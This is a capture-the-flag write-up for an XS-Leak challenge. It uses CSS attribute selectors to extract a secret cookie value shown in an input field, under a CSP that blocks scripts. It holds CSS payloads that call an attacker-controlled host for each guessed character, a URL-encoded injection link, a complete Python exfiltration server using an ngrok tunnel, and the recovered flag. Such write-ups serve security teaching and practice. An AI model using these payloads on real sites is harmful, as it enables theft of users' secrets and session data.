XSLeak CSS for getting Input Value
we get bot and the chall.
first i assume this xss, but after i see the csp
"Content-Security-Policy", "default-src 'none';style-src *;img-src *;"
We cant use any javascript. and we can see in the code if the input value is the COOKIE. and admin bot will send flag in their cookie.
ok so we need to leak the input form this to get the flag
@app.get("/")
def flag():
html = request.args.get("html")
secret = request.cookies.get("secret") <-- we can leak this
return render_template("index.html",
html=(html or "<h1>Welcome to Secret!</h1>"),
secret=(secret or "secret"))
<body>
<img src="https://smk.pusatprestasinasional.kemdikbud.go.id/lks/assets/logo2023.png" width="100px">
<input value="{{secret}}">
{{html|safe}}
</body>
so i know this XSLeak css,
first craft the payload from our server using this method : https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
input[value^="a"] { background: url('http://ourdomain.com/?char1=a'); }
input[value^="b"] { background: url('http://ourdomain.com/?char1=b'); }
...
input[value^="s"] { background: url('http://ourdomain.com/?char1=s'); } // This will trigger a HTTP request to our endpoint
...
input[value^="z"] { background: url('http://ourdomain.com/?char1=z'); }
we can use this payload for getting our css script
http://app:5000/?html=%3Clink%20rel=%22stylesheet%22%20href=%22http://yourservertohostpayloadcss%22%3E
and this is my solver :
import os
import string
from time import sleep
from flask import Flask, request
from pyngrok import ngrok
from flask_cors import CORS
PORT = 4444
app = Flask(__name__)
CORS(app, origins="http://server:8080")
TUNNEL = ngrok.connect(4444, "tcp").public_url.replace("tcp://", "http://")
LOCAL_URL2 = "http://10.206.36.5:4444/"
flag = ""
def oracle(chars):
return 'input[value^="%s"]{background-image:url("%s")}' % (chars, TUNNEL+"/leaked?l="+chars)
def valueleak(known):
result = ""
for i in string.ascii_letters+string.digits+"_{}":
result += oracle(known+i)
return result
@app.get("/leaked")
def leak():
global flag
leaked = request.args.get("l")
flag = leaked
return "ok"
@app.get("/css/<int:i>")
def css(i: int):
global flag
while len(flag) != i:
sleep(1)
return valueleak(known=flag), 200, {"Content-Type": "text/css"}
if __name__ == "__main__":
print(TUNNEL)
app.run("0.0.0.0", 4444)
# copy satu2 ke bot admin biar ngeleak char nya
# http://app:5000/?html=%3Clink%20rel=%22stylesheet%22%20href=%22http://10.206.36.5:4444/css/0%22%3E
# http://app:5000/?html=%3Clink%20rel=%22stylesheet%22%20href=%22http://10.206.36.5:4444/css/1%22%3E
# http://app:5000/?html=%3Clink%20rel=%22stylesheet%22%20href=%22http://10.206.36.5:4444/css/2%22%3E
LKS2024Malang{My_S3cReT_i5_N0t_SeCr3t}